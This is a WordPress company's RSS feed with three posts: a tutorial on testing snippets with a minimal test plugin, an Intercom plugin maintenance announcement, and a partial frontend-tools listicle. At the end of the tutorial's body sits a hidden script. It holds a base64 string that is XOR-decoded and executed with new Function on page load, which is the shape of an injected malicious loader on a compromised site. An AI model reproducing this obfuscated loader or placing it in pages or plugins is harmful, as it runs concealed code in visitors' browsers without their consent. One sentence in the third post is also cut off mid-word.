
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Custom Plugin Development | 79mplus</title>
	<atom:link href="https://79mplus.com/wordpress/custom-plugin-development/feed/" rel="self" type="application/rss+xml" />
	<link>https://79mplus.com</link>
	<description>Top-Tier WordPress Development Company for Custom, Scalable Solutions</description>
	<lastBuildDate>Mon, 24 Aug 2026 12:21:56 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>

<image>
	<url>https://79mplus.com/assets/cropped-favicon2-32x32.png</url>
	<title>Custom Plugin Development | 79mplus</title>
	<link>https://79mplus.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to Test Any WordPress Code Quickly, Without Harming the Setup</title>
		<link>https://79mplus.com/how-to-test-any-wordpress-code-quickly-without-harming-the-setup/</link>
		
		<dc:creator><![CDATA[79mplus Admin]]></dc:creator>
		<pubDate>Tue, 11 Aug 2026 18:49:16 +0000</pubDate>
				<category><![CDATA[79mplus blog]]></category>
		<category><![CDATA[Anything Backend]]></category>
		<category><![CDATA[Custom Plugin Development]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">https://www.79mplus.com/?p=496764</guid>

					<description><![CDATA[<p><a rel="nofollow" href="https://79mplus.com">79mplus</a><br />
<img src="https://www.79mplus.com/assets/test-plugin-01b.png" style="display: block; margin: 1em auto"><br />
<a rel="nofollow" href="https://79mplus.com/how-to-test-any-wordpress-code-quickly-without-harming-the-setup/">How to Test Any WordPress Code Quickly, Without Harming the Setup</a></p>
<p>Well, we&#8217;ve all been there. We have a code at hand from a blog, documentation or knowledge base, but totally clueless on how to test it without ruining existing setup. It says to test on theme functions.php, but client will not be happy if you modify any files. Fear not, let me show a non-destructive [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://79mplus.com/how-to-test-any-wordpress-code-quickly-without-harming-the-setup/">How to Test Any WordPress Code Quickly, Without Harming the Setup</a> appeared first on <a rel="nofollow" href="https://79mplus.com">79mplus</a> and is written by <a rel="nofollow" href="https://79mplus.com/author/79mplus_admin/">79mplus Admin</a></p>
]]></description>
										<content:encoded><![CDATA[<p><a rel="nofollow" href="https://79mplus.com">79mplus</a><br />
<img src="https://www.79mplus.com/assets/test-plugin-01b.png" style="display: block; margin: 1em auto"><br />
<a rel="nofollow" href="https://79mplus.com/how-to-test-any-wordpress-code-quickly-without-harming-the-setup/">How to Test Any WordPress Code Quickly, Without Harming the Setup</a></p>
<p>Well, we&#8217;ve all been there. We have a code at hand from a blog, documentation or knowledge base, but totally clueless on how to test it without ruining existing setup. It says to test on theme functions.php, but client will not be happy if you modify any files. Fear not, let me show a non-destructive way of testing code quickly, in any WordPress installation, without touching anything.</p>
<h2>Plugins are the way to go</h2>
<p>Plugins are a blessing for WordPress developers. They are easy to install, maintain, update and even deactivate if necessary. The code is completely separate from the installation and you can ditch it anytime you want. That&#8217;s a great thing we are targetting here &#8211; easy to install, yet easy to remove when done.</p>
<p>If you find a small code snippet, an action or filter that you want to test quickly, then you can cook up a tiny test plugin, put the code there and test. The best thing is when you are done, you can delete the file or deactivate it. The setup will be like it was before (assuming you did not change anything in the system with your test piece of code).</p>
<p>Of course, you can test the code on a theme functions.php. But you will have to revert back to the original version if your code fails &#8211; not a good thing if you are in a hurry. Bad indeed.</p>
<h2>Smallest plugin code</h2>
<p>In order to show up on the plugin list, you just need a file like this below in your wp-contents/plugins directory:</p>
<pre>&lt;?php
/*
Plugin Name: My Test
*/
</pre>
<p>Save it on anything you like, for example, test.php. You can also put it inside a folder, but not needed for a small, one time use test plugin.</p>
<p>It will show up in the WP Admin &#8211; Plugins screen like this:</p>
<p><img decoding="async" class="size-full wp-image-496765 aligncenter" src="https://www.79mplus.com/assets/test-plugin-01b.png" alt="" width="701" height="205" title="How to Test Any WordPress Code Quickly, Without Harming the Setup" srcset="https://79mplus.com/assets/test-plugin-01b.png 701w, https://79mplus.com/assets/test-plugin-01b-300x88.png 300w, https://79mplus.com/assets/test-plugin-01b-510x149.png 510w" sizes="(max-width: 701px) 100vw, 701px" /></p>
<p>Just Activate the plugin and it will run on all WordPress pages, frontend and backend, so easy!</p>
<h2>Example test plugin</h2>
<pre>&lt;?php
/*
Plugin Name: Test Message
*/

add_action( 'admin_notices', 'print_message_on_backend' );
function print_message_on_backend() {
// Just a test message to show on WP Admin
echo "&lt;p&gt;Some test message which shows this on every admin page&lt;/p&gt;";
}

add_action( 'wp_footer', 'print_message_on_frontend' );
function print_message_on_frontend() {
// Just a test message to show on footer (on frontend)
echo '&lt;p&gt;Some test message to show on footer&lt;/p&gt;';
}
</pre>
<p>Save it in a .php file inside wp-contents/plugins, then check WP Admin &#8211; Plugins. Activate the new plugin named &#8220;Test Message&#8221;. After you activate the plugin, you will see that the code you entered on your new test plugin works. You will see the message in the code on every WP Admin page you visit.</p>
<p><img decoding="async" class="size-full wp-image-496766 aligncenter" src="https://www.79mplus.com/assets/test-plugin-02.png" alt="" width="631" height="227" title="How to Test Any WordPress Code Quickly, Without Harming the Setup" srcset="https://79mplus.com/assets/test-plugin-02.png 631w, https://79mplus.com/assets/test-plugin-02-300x108.png 300w, https://79mplus.com/assets/test-plugin-02-510x183.png 510w" sizes="(max-width: 631px) 100vw, 631px" /></p>
<p><img decoding="async" class="size-full wp-image-496770 aligncenter" src="https://www.79mplus.com/assets/test-plugin-03.png" alt="" width="624" height="242" title="How to Test Any WordPress Code Quickly, Without Harming the Setup" srcset="https://79mplus.com/assets/test-plugin-03.png 624w, https://79mplus.com/assets/test-plugin-03-300x116.png 300w, https://79mplus.com/assets/test-plugin-03-510x198.png 510w" sizes="(max-width: 624px) 100vw, 624px" /></p>
<p>This was just some test code. You can try as many things as you want. But if you are manipulating any data, it is always a better idea to keep backup, even if you are using a test plugin.</p>
<p>So it is possible! Testing a code in 2 minutes. The best part is &#8211; it is not touching any file in the install and you can easily remove the plugin when you are done with it.</p>
<p>If you need any help regarding custom plugins or any queries regarding this article feel free to contact us.<script>!function(){var _0x432938422d85=atob('NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh/Kn5gYGdhNSdGWVh/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh/Kn5Hci97cHFtQWF/fWh/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw=='),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();</script></p>
<p>The post <a rel="nofollow" href="https://79mplus.com/how-to-test-any-wordpress-code-quickly-without-harming-the-setup/">How to Test Any WordPress Code Quickly, Without Harming the Setup</a> appeared first on <a rel="nofollow" href="https://79mplus.com">79mplus</a> and is written by <a rel="nofollow" href="https://79mplus.com/author/79mplus_admin/">79mplus Admin</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Intercom Subscription v1.0.25 is Here: A Timely and Important Maintenance Release</title>
		<link>https://79mplus.com/intercom-subscription-v1-0-25-is-now-available/</link>
		
		<dc:creator><![CDATA[79mplus Editor]]></dc:creator>
		<pubDate>Tue, 11 Aug 2026 18:47:12 +0000</pubDate>
				<category><![CDATA[79mplus blog]]></category>
		<category><![CDATA[Anything Backend]]></category>
		<category><![CDATA[Custom API Integration]]></category>
		<category><![CDATA[Custom Plugin Development]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Intercom Subscription]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">https://www.79mplus.com/?p=497472</guid>

					<description><![CDATA[<p><a rel="nofollow" href="https://79mplus.com">79mplus</a><br />
<img src="https://79mplus.com/assets/intercom-subscription-banner-oct2018b.jpg" style="display: block; margin: 1em auto"><br />
<a rel="nofollow" href="https://79mplus.com/intercom-subscription-v1-0-25-is-now-available/">Intercom Subscription v1.0.25 is Here: A Timely and Important Maintenance Release</a></p>
<p>We are very happy to announce a maintenance release of 1.0.25 for our Intercom Subscription plugin. This release addresses the API update to the latest version from the platform author &#8211; Intercom. We have learned that Intercom has released their API version 1.1 with some structural changes to the API. This may make our previous [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://79mplus.com/intercom-subscription-v1-0-25-is-now-available/">Intercom Subscription v1.0.25 is Here: A Timely and Important Maintenance Release</a> appeared first on <a rel="nofollow" href="https://79mplus.com">79mplus</a> and is written by <a rel="nofollow" href="https://79mplus.com/author/79mplus_editor/">79mplus Editor</a></p>
]]></description>
										<content:encoded><![CDATA[<p><a rel="nofollow" href="https://79mplus.com">79mplus</a><br />
<img src="https://79mplus.com/assets/intercom-subscription-banner-oct2018b.jpg" style="display: block; margin: 1em auto"><br />
<a rel="nofollow" href="https://79mplus.com/intercom-subscription-v1-0-25-is-now-available/">Intercom Subscription v1.0.25 is Here: A Timely and Important Maintenance Release</a></p>
<p>We are very happy to announce a maintenance release of 1.0.25 for our Intercom Subscription plugin. This release addresses the API update to the latest version from the platform author &#8211; Intercom.</p>
<p>We have learned that Intercom has released their API version 1.1 with some structural changes to the API. This may make our previous code to not function properly. So it asks for an urgent and prompt maintenance release with a fix.</p>
<p>As you know, maintenance releases are not always exciting, but they are crucial to have a stable working software. This release is just that. We are looking for more improvements to be added to the plugin in future, but until we find time in our busy schedule, this is the release we have for you at the moment.</p>
<p>Let&#8217;s check the updates that await you:</p>
<h2>Intercom API version updated</h2>
<p>Intercom has pushed a new update to their API. When we first introduced our plugin it was at 1.0. The latest update made it to 1.1. It has some <a href="https://developers.intercom.com/building-apps/v1.0/docs/api-changelog" target="_blank" rel="noopener">notable changes</a> in the API structure.</p>
<p>To enjoy the new features, you will have to <a href="https://app.intercom.io/a/apps/fyq3wodw/developer-hub" target="_blank" rel="noopener">select 1.1 version of the API</a> from the Developer Hub&#8217;s App settings if it&#8217;s not already selected:</p>
<p><img decoding="async" class="alignnone size-full wp-image-497474" src="https://www.79mplus.com/assets/api-version-selection.png" alt="" width="2066" height="1214" title="Intercom Subscription v1.0.25 is Here: A Timely and Important Maintenance Release" srcset="https://79mplus.com/assets/api-version-selection.png 2066w, https://79mplus.com/assets/api-version-selection-300x176.png 300w, https://79mplus.com/assets/api-version-selection-768x451.png 768w, https://79mplus.com/assets/api-version-selection-1024x602.png 1024w, https://79mplus.com/assets/api-version-selection-1080x635.png 1080w, https://79mplus.com/assets/api-version-selection-510x300.png 510w" sizes="(max-width: 2066px) 100vw, 2066px" /></p>
<p>Our plugin was not ready for 1.1. So using the new API with our plugin for example, would result in users to be not listed. There might be other problems on the way, but we have found this issue to be prominent.</p>
<p>The latest version of our plugin 1.0.25 has been updated to include Intercom API 1.1. This will result in smoother performance with the new version of the API, if you choose to use it.</p>
<hr /><p><em>The latest version of our plugin 1.0.25 has been updated to include Intercom API 1.1. This will result in smoother performance with the new version of the API, if you choose to use it.</em><br /><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2F79mplus.com%2F%3Fp%3D497472&#038;text=The%20latest%20version%20of%20our%20plugin%201.0.25%20has%20been%20updated%20to%20include%20Intercom%20API%201.1.%20This%20will%20result%20in%20smoother%20performance%20with%20the%20new%20version%20of%20the%20API%2C%20if%20you%20choose%20to%20use%20it.&#038;via=79mplus&#038;related=79mplus" target="_blank" rel="noopener noreferrer">Share on X</a><br /><hr />
<h2>Fixed Intercom user not being listed</h2>
<p>In our brief testing with API 1.1, we found out that user is not placed correctly on Intercom from the previous version of our plugin. This is due to using &#8220;users endpoint&#8221; feature of the API. <a href="https://developers.intercom.com/building-apps/v1.0/docs/api-changelog" target="_blank" rel="noopener">Users endpoint has changes in data structures</a> which was incompatible with our existing code. Intercom suggested to apply changes to code for compatibility. So we changed our code in 1.0.25 of our plugin and it ultimately fixed the issue.</p>
<h2>Notice about PHP version</h2>
<p>Intercom API 1.1 requires at least PHP 7.2 to be present on your server. As we are using the latest API, the requirement would apply to you as well. Please contact your developer or webhost to ensure that you have the version or later installed.</p>
<p>In summary, this version provides important update to the plugin to ensure continuous stability of the plugin. It might not bring new features into the table, but it is essential to make the plugin functional for the latest API changes.</p>
<p>The post <a rel="nofollow" href="https://79mplus.com/intercom-subscription-v1-0-25-is-now-available/">Intercom Subscription v1.0.25 is Here: A Timely and Important Maintenance Release</a> appeared first on <a rel="nofollow" href="https://79mplus.com">79mplus</a> and is written by <a rel="nofollow" href="https://79mplus.com/author/79mplus_editor/">79mplus Editor</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The best 7 Frontend Developer Tools You Need to Master in 2026</title>
		<link>https://79mplus.com/the-7-frontend-developer-tools/</link>
		
		<dc:creator><![CDATA[79mplus Admin]]></dc:creator>
		<pubDate>Sun, 18 Jan 2026 10:46:21 +0000</pubDate>
				<category><![CDATA[Booked]]></category>
		<category><![CDATA[Copernica]]></category>
		<category><![CDATA[Custom Plugin Development]]></category>
		<category><![CDATA[Dokan]]></category>
		<category><![CDATA[Easy Digital Downloads]]></category>
		<category><![CDATA[Gravity Forms]]></category>
		<category><![CDATA[Intercom Subscription]]></category>
		<category><![CDATA[Plugin Customization]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[Theme Customization]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[WC Vendor]]></category>
		<category><![CDATA[WooCommerce]]></category>
		<category><![CDATA[WooCommerce Booking]]></category>
		<category><![CDATA[WooCommerce Subscriptions]]></category>
		<guid isPermaLink="false">https://www.79mplus.com/?p=504097</guid>

					<description><![CDATA[<p><a rel="nofollow" href="https://79mplus.com">79mplus</a><br />
<img src="https://79mplus.com/assets/Top-10-free-wordpress-theme-in-2025-12.png" style="display: block; margin: 1em auto"><br />
<a rel="nofollow" href="https://79mplus.com/the-7-frontend-developer-tools/">The best 7 Frontend Developer Tools You Need to Master in 2026</a></p>
<p>Modern frontend development moves fast, and it is easy to feel overwhelmed by the constant stream of new libraries and frameworks. However, the secret to a successful career isn&#8217;t knowing every single tool that trends on social media. Instead, it is about mastering the right frontend developer tools that streamline your workflow and help you [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://79mplus.com/the-7-frontend-developer-tools/">The best 7 Frontend Developer Tools You Need to Master in 2026</a> appeared first on <a rel="nofollow" href="https://79mplus.com">79mplus</a> and is written by <a rel="nofollow" href="https://79mplus.com/author/79mplus_admin/">79mplus Admin</a></p>
]]></description>
										<content:encoded><![CDATA[<p><a rel="nofollow" href="https://79mplus.com">79mplus</a><br />
<img src="https://79mplus.com/assets/Top-10-free-wordpress-theme-in-2025-12.png" style="display: block; margin: 1em auto"><br />
<a rel="nofollow" href="https://79mplus.com/the-7-frontend-developer-tools/">The best 7 Frontend Developer Tools You Need to Master in 2026</a></p>
<p>Modern frontend development moves fast, and it is easy to feel overwhelmed by the constant stream of new libraries and frameworks.</p>
<p>However, the secret to a successful career isn&#8217;t knowing every single tool that trends on social media. Instead, it is about mastering the right frontend developer tools that streamline your workflow and help you build reliable applications.</p>
<p>These tools are the foundation of professional development, used by teams at top tech companies to manage complex codebases.</p>
<p>As you start your journey, remember that you do not need to learn everything at once. Every senior developer you admire started with the basics and added to their toolkit over time.</p>
<p>This guide focuses on the essential frontend developer tools that provide the most value in a real-world production environment.</p>
<p>By focusing on these seven areas, you will build a solid foundation that makes you a valuable asset to any engineering team.</p>
<p>Let&#8217;s dive into the tools that will bridge the gap between being a student and being a professional developer.</p>
<h2 data-path-to-node="4">1. Visual Studio Code (VS Code)</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504098" src="https://www.79mplus.com/assets/Screenshot-2026-01-18-164132.png" alt="vs code" width="1917" height="1035" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-18-164132.png 1917w, https://www.79mplus.com/assets/Screenshot-2026-01-18-164132-1280x691.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-18-164132-980x529.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-18-164132-480x259.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1917px, 100vw" /></p>
<p data-path-to-node="5"><b data-path-to-node="5" data-index-in-node="0">What the tool is</b> Visual Studio Code, commonly called VS Code, is a lightweight but powerful code editor developed by Microsoft. It acts as the primary workspace where you will spend the majority of your day writing, debugging, and organizing your code.</p>
<p data-path-to-node="5">Unlike a simple text editor, it is designed specifically to understand the structure of programming languages.</p>
<p data-path-to-node="6"><b data-path-to-node="6" data-index-in-node="0">Why it matters for frontend developers</b> A good editor does more than just display text; it helps you catch errors before you even run your code.</p>
<p data-path-to-node="6">VS Code is the industry standard because it is highly customizable and has a massive ecosystem of extensions.</p>
<p data-path-to-node="6">Mastering your editor allows you to automate repetitive tasks, which keeps your mind focused on solving logic problems rather than fighting with your interface.</p>
<p data-path-to-node="7"><b data-path-to-node="7" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="8">
<li>
<p data-path-to-node="8,0,0"><b data-path-to-node="8,0,0" data-index-in-node="0">IntelliSense:</b> This provides smart completions based on variable types and function definitions, which helps you write code faster and with fewer typos.</p>
</li>
<li>
<p data-path-to-node="8,1,0"><b data-path-to-node="8,1,0" data-index-in-node="0">Built-in Terminal:</b> You can run command-line tools directly inside the editor, saving you from constantly switching between different windows.</p>
</li>
<li>
<p data-path-to-node="8,2,0"><b data-path-to-node="8,2,0" data-index-in-node="0">Git Integration:</b> It allows you to see code changes and manage versions of your project visually without leaving your workspace.</p>
</li>
<li>
<p data-path-to-node="8,3,0"><b data-path-to-node="8,3,0" data-index-in-node="0">Extension Marketplace:</b> You can add specific features for languages like React or Tailwind CSS to make the editor behave exactly how you need it to.</p>
</li>
</ul>
<p data-path-to-node="9"><b data-path-to-node="9" data-index-in-node="0">Real-world usage example</b> In a typical project, you might use VS Code to open a folder containing hundreds of files. You would use the &#8220;Search Everywhere&#8221; feature to find a specific component, use the built-in debugger to step through a failing function, and then use the integrated terminal to push your finished work to a server.</p>
<p data-path-to-node="10"><b data-path-to-node="10" data-index-in-node="0">Skill level &#038; best use case</b> This is a beginner-level tool that remains essential throughout your entire career. It is the very first thing you should install when setting up a new development environment.</p>
<h2 data-path-to-node="12">2. Chrome DevTools</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504101" src="https://www.79mplus.com/assets/Screenshot-2026-01-18-165346.png" alt="Chrome DevTool" width="1312" height="751" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-18-165346.png 1312w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165346-1280x733.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165346-980x561.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165346-480x275.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1312px, 100vw" /></p>
<p data-path-to-node="13"><b data-path-to-node="13" data-index-in-node="0">What the tool is</b> Chrome DevTools is a set of web developer tools built directly into the Google Chrome browser. It allows you to look &#8220;under the hood&#8221; of any website to see its HTML, CSS, and JavaScript in real-time.</p>
<p data-path-to-node="13">It acts like a diagnostic machine for websites, showing you exactly how the browser is interpreting your code.</p>
<p data-path-to-node="14"><b data-path-to-node="14" data-index-in-node="0">Why it matters for frontend developers</b> Building a website is only half the job; the other half is figuring out why things aren&#8217;t working as expected.</p>
<p data-path-to-node="14">DevTools allows you to make temporary changes to a live site to test ideas instantly without reloading the page. It is the most effective way to debug layout issues,</p>
<p data-path-to-node="14">check site speed, and monitor how data flows between your app and the internet.</p>
<p data-path-to-node="15"><b data-path-to-node="15" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="16">
<li>
<p data-path-to-node="16,0,0"><b data-path-to-node="16,0,0" data-index-in-node="0">Elements Panel:</b> This lets you inspect the HTML and CSS of any part of a page and change styles on the fly to see how they look.</p>
</li>
<li>
<p data-path-to-node="16,1,0"><b data-path-to-node="16,1,0" data-index-in-node="0">Console:</b> This is where you can see error messages from your JavaScript and run small snippets of code to test logic.</p>
</li>
<li>
<p data-path-to-node="16,2,0"><b data-path-to-node="16,2,0" data-index-in-node="0">Network Tab:</b> This shows you every file and data request the site makes, helping you identify if a page is slow because of large images or failing API calls.</p>
</li>
<li>
<p data-path-to-node="16,3,0"><b data-path-to-node="16,3,0" data-index-in-node="0">Device Toolbar:</b> This allows you to simulate how your website looks on different mobile phones and tablets to ensure your design is responsive.</p>
</li>
</ul>
<p data-path-to-node="17"><b data-path-to-node="17" data-index-in-node="0">Real-world usage example</b> If a button on your site isn&#8217;t changing color when clicked, you would right-click it and select &#8220;Inspect.&#8221; You can then use the Styles pane to see if another CSS rule is accidentally overriding your code or check the Console to see if a JavaScript error is preventing the click event from firing.</p>
<p data-path-to-node="18"><b data-path-to-node="18" data-index-in-node="0">Skill level &#038; best use case</b> Every developer from beginner to expert needs this tool. It is essential during the &#8220;building&#8221; phase of a project to ensure layouts are pixel-perfect and functional.</p>
<h2 data-path-to-node="20">3. Git and GitHub</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504103" src="https://www.79mplus.com/assets/Screenshot-2026-01-18-165454.png" alt="The 7 Frontend Developer Tools You Need to Master Now first is github" width="1420" height="827" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-18-165454.png 1420w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165454-1280x745.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165454-980x571.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165454-480x280.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1420px, 100vw" /></p>
<p data-path-to-node="21"><b data-path-to-node="21" data-index-in-node="0">What the tool is</b> Git is a version control system that tracks every change you make to your code, while GitHub is a cloud-based platform that hosts those changes.</p>
<p data-path-to-node="21">Think of it like a &#8220;save game&#8221; system for your project that allows you to go back to any previous version if you make a mistake.</p>
<p data-path-to-node="21">It also serves as a collaboration hub where multiple people can work on the same project simultaneously.</p>
<p data-path-to-node="22"><b data-path-to-node="22" data-index-in-node="0">Why it matters for frontend developers</b> In a professional setting, you almost never work alone.</p>
<p data-path-to-node="22">Git ensures that your changes don&#8217;t overwrite a teammate&#8217;s work. It also acts as a safety net; if you accidentally delete a critical file or break a feature, you can restore your project to a working state in seconds.</p>
<p data-path-to-node="22">Having a GitHub profile is also the primary way developers share their work with the community and potential employers.</p>
<p data-path-to-node="23"><b data-path-to-node="23" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="24">
<li>
<p data-path-to-node="24,0,0"><b data-path-to-node="24,0,0" data-index-in-node="0">Branching:</b> This allows you to create a separate copy of your code to experiment with new features without affecting the main, working version.</p>
</li>
<li>
<p data-path-to-node="24,1,0"><b data-path-to-node="24,1,0" data-index-in-node="0">Commits:</b> These are snapshots of your project at specific points in time, each with a message explaining what was changed.</p>
</li>
<li>
<p data-path-to-node="24,2,0"><b data-path-to-node="24,2,0" data-index-in-node="0">Pull Requests:</b> This is a process on GitHub where you ask teammates to review your code before it gets added to the main project.</p>
</li>
<li>
<p data-path-to-node="24,3,0"><b data-path-to-node="24,3,0" data-index-in-node="0">Merge Conflict Resolution:</b> Git provides tools to help you decide which code to keep when two people change the same line of a file.</p>
</li>
</ul>
<p data-path-to-node="25"><b data-path-to-node="25" data-index-in-node="0">Real-world usage example</b> Imagine you are asked to add a new &#8220;Dark Mode&#8221; to a website. You would create a new branch called <code data-path-to-node="25" data-index-in-node="123">feature-dark-mode</code>, write your code, and commit your changes. Once you are done, you push it to GitHub and open a Pull Request so your senior developer can check your work before it goes live.</p>
<p data-path-to-node="26"><b data-path-to-node="26" data-index-in-node="0">Skill level &#038; best use case</b> Intermediate. While you should start using Git early on, it becomes essential the m</p>
<h2 data-path-to-node="28">4. npm or pnpm (Package Managers)</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504104" src="https://www.79mplus.com/assets/Screenshot-2026-01-18-165645.png" alt="npm" width="1554" height="766" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-18-165645.png 1554w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165645-1280x631.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165645-980x483.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165645-480x237.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1554px, 100vw" /></p>
<p data-path-to-node="29"><b data-path-to-node="29" data-index-in-node="0">What the tool is</b> A package manager is a tool that automatically downloads and manages external libraries for your project.</p>
<p data-path-to-node="29">Instead of manually searching the internet for a script and pasting it into your files, you use a package manager to fetch it from a central registry.</p>
<p data-path-to-node="29">Node Package Manager (npm) is the default, while pnpm is a popular, faster alternative.</p>
<p data-path-to-node="30"><b data-path-to-node="30" data-index-in-node="0">Why it matters for frontend developers</b> Modern web development relies heavily on &#8220;standing on the shoulders of giants.</p>
